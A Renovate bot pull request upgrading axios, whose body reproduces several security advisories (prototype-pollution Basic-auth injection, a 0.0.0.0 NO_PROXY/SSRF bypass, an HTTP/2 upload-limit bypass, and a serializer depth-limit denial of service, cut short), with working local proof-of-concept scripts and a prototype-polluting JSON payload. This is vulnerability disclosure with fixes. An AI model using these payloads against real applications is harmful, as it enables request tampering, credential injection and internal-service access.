Skip to content

Update dependency axios to v1.18.0 [SECURITY]#2452

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-axios-vulnerability
Open

Update dependency axios to v1.18.0 [SECURITY]#2452
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-axios-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.16.01.18.0 age confidence

Axios: Prototype pollution auth subfields can inject Basic auth

GHSA-xj6q-8x83-jv6g

More information

Details

Summary

Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.

This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.

Impact

An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.

The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.

This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.

Affected Functionality

Affected functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js.
  • Requests where config.auth is an own object but username and/or password are absent own properties.

Unaffected or not accepted as core impact:

  • Requests with no own auth object after mergeConfig().
  • Requests with own auth.username and auth.password values.
  • Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening.
  • Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details

mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.

In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.

The same pattern exists in lib/helpers/resolveConfig.js:

if (auth) {
  headers.set(
    'Authorization',
    'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
  );
}

The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.

Proof of Concept of Attack

Safe local PoC against published axios@1.16.1:

const http = require('node:http');
const axios = require('axios');

Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';

const server = http.createServer((req, res) => {
  console.log({
    url: req.url,
    authorization: req.headers.authorization || null
  });

  res.end('{}');
  server.close(() => {
    delete Object.prototype.username;
    delete Object.prototype.password;
  });
});

server.listen(0, '127.0.0.1', async () => {
  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
    auth: {}
  });
});

Expected output:

{
  "url": "/api",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

The base64 value decodes to victim-user:victim-password-leaked.

Workarounds

Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.

Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.

Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.

Original Report
Summary

After GHSA-q8qp-cvcw-x6jj / PR #​10779 (shipped in v1.15.2) and the further proxy-side hardening in
PR #​10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype.

When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).

Reproduces against axios main HEAD (34723be, dated 2026-05-24)
as well as the released v1.16.1.

Details

Three still-unguarded read sites on main HEAD:

(1) lib/adapters/http.js lines 737–740 (Node http adapter):

const configAuth = own('auth');         // ← top-level guard OK
if (configAuth) {
    const username = configAuth.username || '';   // ← reads .username on the inherited chain
    const password = configAuth.password || '';   // ← reads .password on the inherited chain
    auth = username + ':' + password;
}

own('auth') correctly applies hasOwnProp to the top-level auth
key. But once configAuth is the empty object the caller passed
(auth: {}), configAuth.username walks the prototype chain and
picks up Object.prototype.username.

Contrast with the proxy-auth path that PR #​10833 fixed (lines 322–324):

const authUsername =
    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;

This is the exact pattern needed at lines 739–740 too.

(2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver):

const auth = own('auth');               // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
//   ^ .username and .password read directly on `auth`, no hasOwnProp guard

Same shape — top-level guarded, sub-fields walk prototype.

(3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer):

newConfig.url = buildURL(
    buildFullPath(baseURL, url, allowAbsoluteUrls),
    config.params,            // ← direct read, not through own()
    config.paramsSerializer   // ← direct read, not through own()
);

This third site is already proposed for fix in open PR #​10922 by @​Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #​10922 does not cover.

PoC

This PoC contains zero direct Object.prototype.x = y writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads,
still walks constructor.prototype). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via __proto__ and is more common in real codebases than any named
utility.

#!/usr/bin/env node
'use strict';

const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');

// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
  for (const k of PROTO_KEYS) {
    try { delete Object.prototype[k]; } catch (_) {}
  }
}
scrub();

// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
  "constructor": {
    "prototype": {
      "username": "victim-user",
      "password": "victim-password-leaked",
      "params": {"leak": "ATTACKER_QUERY_TOKEN"}
    }
  }
}`);

// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
//   After this line:
//     Object.prototype.username  === "victim-user"
//     Object.prototype.password  === "victim-password-leaked"
//     Object.prototype.params    === { leak: "ATTACKER_QUERY_TOKEN" }

// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
  console.log('=== captured outbound request ===');
  console.log(JSON.stringify({
    method: req.method,
    url: req.url,
    authorization: req.headers.authorization || null,
  }, null, 2));
  res.end('{}');
  server.close();
  scrub();
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;

  // 4) Realistic application wrapper: optional per-call overrides.
  //    `auth: opts.auth || {}` is the common pattern — empty own object,
  //    but inherited values walk the prototype chain.
  function makeRequest(targetUrl, opts = {}) {
    return axios.get(targetUrl, {
      timeout: 5000,
      auth: opts.auth || {},
      params: opts.params || {},
    });
  }

  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
    console.error('axios error:', e.message);
    scrub();
    process.exit(1);
  });
});

Reproduction:

mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs

Captured output (verified against released 1.16.1 AND against
main at 34723be, 2026-05-24):

{
  "method": "GET",
  "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to
victim-user:victim-password-leaked. The querystring carries
?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via req.headers, etc.).

Impact
  • Credential exfiltration via Basic auth header on the outbound
    request. If the request URL is attacker-influenced too (common in
    webhook/oauth-callback patterns), the credentials flow directly to
    the attacker. If not, they flow to the legitimate destination but
    expose victim credentials in any logs / proxies along the path.
  • Outbound request-shape control via inherited params /
    paramsSerializer. With paramsSerializer polluted to an attacker
    function, axios will execute that function with each params
    invocation — same-process code execution from a pollution primitive.
  • Amplifier framing is still correct. The application-side
    precondition is "deep-merges attacker JSON into a config object
    without __proto__/constructor filtering, then uses the empty-
    fallback wrapper auth: opts.auth || {} / params: opts.params || {}."
    Both halves are very common in real codebases (we tested
    defaults-deep, hand-rolled merges, and several lodash-family
    utilities; many still pollute).
  • CWE-1321 (Improperly Controlled Modification of Object Prototype
    Attributes — amplifier sink).
Proposed fix

Two-line change in http.js, matching the proxy-auth pattern PR

#​10833 already established:

--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@&#8203;@&#8203; -737,8 +737,10 @&#8203;@&#8203;
       const configAuth = own('auth');
       if (configAuth) {
-        const username = configAuth.username || '';
-        const password = configAuth.password || '';
+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
         auth = username + ':' + password;
       }

Same pattern in resolveConfig.js:

--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@&#8203;@&#8203; -64,7 +64,11 @&#8203;@&#8203;
   // HTTP basic authentication
   if (auth) {
+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
     headers.set(
       'Authorization',
       'Basic ' +
-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
     );
   }

The params / paramsSerializer half is already handled by open
PR #​10922's own('params') / own('paramsSerializer') change — that
PR should be rebased / merged.

Relationship to recent prototype-pollution work

Same vulnerability class as the existing public hardening, just at
sub-field granularity:

This report adds: regular-request auth.username / auth.password
sub-field reads in both the http adapter (lines 737–740) and
resolveConfig.js (line 68).

Reporter notes
  • Reported as part of a small peer-review bundle of runtime security
    findings. The bundle's public tracking entry (without the working
    exploit chain) is at
    georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md.
  • I'm happy to submit the patch as a PR if that helps. Or, if you'd
    prefer to fold this into open PR #​10922 (whose author is actively
    responding to comments), please let me know and I'll coordinate.
  • Threat model honesty: this is amplifier framing — exploitation
    requires a separate prototype-pollution primitive elsewhere in the
    host process. That's how the existing GHSA-q8qp-cvcw-x6jj and
    PR #​10833 were framed too, so the precedent for "in-scope as a
    hardening fix" is established.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

GHSA-f4gw-2p7v-4548

More information

Details

Summary

Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.

The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.

Impact

Applications are affected when all of the following are true:

  • The application runs axios in Node.js with the HTTP adapter.
  • The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY.
  • The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path.
  • Attacker-controlled input can influence the request URL or redirect target.
  • The configured proxy does not reject 0.0.0.0 and can reach the local destination.

For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.

Affected Functionality

Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:

  • lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy.
  • lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries.
  • Explicit caller-provided config.proxy remains trusted caller configuration.
  • Browser, React Native, XHR, and fetch adapter behavior are not affected.
Technical Details

lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.

At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:

return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));

Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.

Proof of Concept of Attack
import http from 'http';
import axios from './index.js';

const listen = (handler, host = '127.0.0.1') =>
  new Promise((resolve) => {
    const server = http.createServer(handler);
    server.listen(0, host, () => resolve(server));
  });

const close = (server) => new Promise((resolve) => server.close(resolve));

const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');

let proxyRequests = 0;
const proxy = await listen((req, res) => {
  proxyRequests += 1;
  res.end('proxied');
});

process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;

try {
  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);

  console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
  await close(origin);
  await close(proxy);
}

Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.

Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.

Workarounds
  • Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies.
  • Reject or normalize 0.0.0.0 in application URL validation before calling axios.
  • Set proxy: false on axios requests that must never use environment proxies.
  • Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges.
Original Report
Summary

axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.

An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon.

Details
Affected versions

>= 1.15.0, <= 1.16.1

The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #​10661).


Root cause

File: lib/helpers/shouldBypassProxy.js

// Line 1 — static allowlist (incomplete)
const LOOPBACK_HOSTNAMES = new Set(['localhost']);   // ← 0.0.0.0 missing

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;   // ← 0.0.0.0: parts[0] = '0' → false
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // ← '0.0.0.0' not in set
  if (isIPv4Loopback(host)) return true;           // ← returns false for 0.0.0.0
  return isIPv6Loopback(host);
};

isLoopback('0.0.0.0') returns false.

Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.

##### PoC
'use strict';

// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js

const LOOPBACK_HOSTNAMES = new Set(['localhost']);

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  return isIPv4Loopback(host);
};

// 1. Show URL parser does NOT normalise 0.0.0.0
console.log(new URL('http://0.0.0.0/').hostname);    // → '0.0.0.0'   ← NOT normalised
console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)
console.log(new URL('http://2130706433/').hostname);  // → '127.0.0.1' ← normalised (safe)

// 2. Show isLoopback fails for 0.0.0.0
console.log(isLoopback('0.0.0.0'));   // → false  ← BUG: should be true
console.log(isLoopback('127.0.0.1')); // → true   ← correct

Verified output on Node.js v22 / axios v1.16.1:
0.0.0.0      NOT normalised by URL parser
127.0.0.1    octal normalised correctly
127.0.0.1    decimal normalised correctly
false        0.0.0.0 not detected as loopback  
true         127.0.0.1 correctly detected

##### Impact
Applications that:

Accept user-supplied URLs and pass them to axios
Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering
…can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.

Fix
Minimal (one line):

- const LOOPBACK_HOSTNAMES = new Set(['localhost']);
+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);

Comprehensive:

const isIPv4Unspecified = (host) => host === '0.0.0.0';

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  if (isIPv4Loopback(host)) return true;
  if (isIPv4Unspecified(host)) return true;   // add this line
  return isIPv6Loopback(host);
};
</details>

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548](https://redirect.github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548)
- [https://github.com/axios/axios/pull/11000](https://redirect.github.com/axios/axios/pull/11000)
- [https://github.com/axios/axios/pull/11001](https://redirect.github.com/axios/axios/pull/11001)
- [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://redirect.github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d)
- [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://redirect.github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2)
- [https://github.com/axios/axios/releases/tag/v0.33.0](https://redirect.github.com/axios/axios/releases/tag/v0.33.0)
- [https://github.com/axios/axios/releases/tag/v1.18.0](https://redirect.github.com/axios/axios/releases/tag/v1.18.0)
- [https://github.com/advisories/GHSA-f4gw-2p7v-4548](https://redirect.github.com/advisories/GHSA-f4gw-2p7v-4548)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-f4gw-2p7v-4548) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: HTTP/2 streamed uploads bypass `maxBodyLength`
[GHSA-mwf2-3pr3-8698](https://redirect.github.com/advisories/GHSA-mwf2-3pr3-8698)

<details>
<summary>More information</summary>

#### Details
##### Summary

Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.

This affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.

##### Impact

An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.

Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.

Browser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.

##### Affected Functionality

Affected calls require all of the following:

- Node.js HTTP adapter.
- `httpVersion: 2`.
- Request `data` supplied as a stream.
- A finite `maxBodyLength`.
- Attacker-controlled or attacker-influenced stream contents.

Unaffected or differently affected paths:

- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
- Browser XHR/fetch adapters are not affected.
- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.
- In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.

##### Technical Details

In `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.

The stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.

Local verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.

No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.

##### Proof of Concept of Attack

```js
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http2.createServer();

server.on('stream', (stream) => {
  let received = 0;

  stream.on('data', (chunk) => {
    received += chunk.length;
  });

  stream.on('end', () => {
    stream.respond({':status': 200, 'content-type': 'application/json'});
    stream.end(JSON.stringify({received, limit: LIMIT}));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

function makeBody(total) {
  const chunk = Buffer.alloc(64 * 1024, 0x41);
  let remaining = total;

  return new Readable({
    read() {
      if (remaining <= 0) {
        this.push(null);
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      this.push(next);
    }
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${server.address().port}/upload`,
    makeBody(PAYLOAD_BYTES),
    {
      httpVersion: 2,
      maxBodyLength: LIMIT,
      headers: {'content-type': 'application/octet-stream'}
    }
  );

  console.log(response.data);
  // Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
  server.close();
}
Workarounds

For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.

For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.

Original Report
Details

In lib/adapters/http.js, transport selection is unconditional for HTTP/2:

http.js Lines 937-956

      if (isHttp2) {
        transport = http2Transport;
      } else {
        const configTransport = own('transport');
        if (configTransport) {
          transport = configTransport;
        } else if (config.maxRedirects === 0) {
          transport = isHttpsRequest ? https : http;
          isNativeTransport = true;
        } else {
          if (config.maxRedirects) {
            options.maxRedirects = config.maxRedirects;
          }
          const configBeforeRedirect = own('beforeRedirect');
          if (configBeforeRedirect) {
            options.beforeRedirects.config = configBeforeRedirect;
          }
          transport = isHttpsRequest ? httpsFollow : httpFollow;
        }
      }

maxBodyLength is then stored on the request options:

http.js Lines 958-963

      if (config.maxBodyLength > -1) {
        options.maxBodyLength = config.maxBodyLength;
      } else {
        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
        options.maxBodyLength = Infinity;
      }

…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:

http.js Lines 1270-1304

        // Enforce maxBodyLength for streamed uploads on the native http/https
        // transport (maxRedirects === 0); follow-redirects enforces it on the
        // other path.
        let uploadStream = data;
        if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
          const limit = config.maxBodyLength;
          let bytesSent = 0;
          uploadStream = stream.pipeline(
            [
              data,
              new stream.Transform({
                transform(chunk, _enc, cb) {
                  bytesSent += chunk.length;
                  if (bytesSent > limit) {
                    return cb(
                      new AxiosError(
                        'Request body larger than maxBodyLength limit',
                        AxiosError.ERR_BAD_REQUEST,
                        config,
                        req
                      )
                    );
                  }
                  cb(null, chunk);
                },
              }),
            ],
            utils.noop
          );
          uploadStream.on('error', (err) => {
            if (!req.destroyed) req.destroy(err);
          });
        }
        uploadStream.pipe(req);

For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.

PoC
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();

server.on('stream', (stream, _headers) => {
  let received = 0;
  stream.on('data', (chunk) => {
    received += chunk.length;
  });
  stream.on('end', () => {
    stream.respond({
      ':status': 200,
      'content-type': 'application/json',
    });
    stream.end(JSON.stringify({ received, limit: LIMIT }));
  });
  stream.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeBodyStream(totalBytes) {
  const CHUNK = Buffer.alloc(64 * 1024, 0x41);
  let remaining = totalBytes;
  return new Readable({
    read() {
      if (remaining <= 0) {
        this.push(null);
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      this.push(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
      httpVersion: 2,
      maxBodyLength: LIMIT,
      // We intentionally do NOT set maxRedirects: 0 — that flag activates the
      // existing HTTP/1 byte-counting wrapper. The bug under test is that the
      // HTTP/2 transport path skips that wrapper entirely.
      headers: { 'content-type': 'application/octet-stream' },
      // Omit content-length so the body is streamed without a known length.
    });
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
  // http2 sessions cached by axios may keep the event loop alive; force exit
  // after the assertion so the script returns instead of idling on TCP keep-alive.
  setImmediate(() => process.exit(process.exitCode || 0));
}
Impact
  • Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.
  • Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.
  • Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios form serializer maxDepth bypass via {} metatoken

GHSA-hcpx-6fm6-wx23

More information

Details

Summary

Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure.

An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path.

Impact

The impact is availability only. No confidentiality or integrity impact was confirmed.

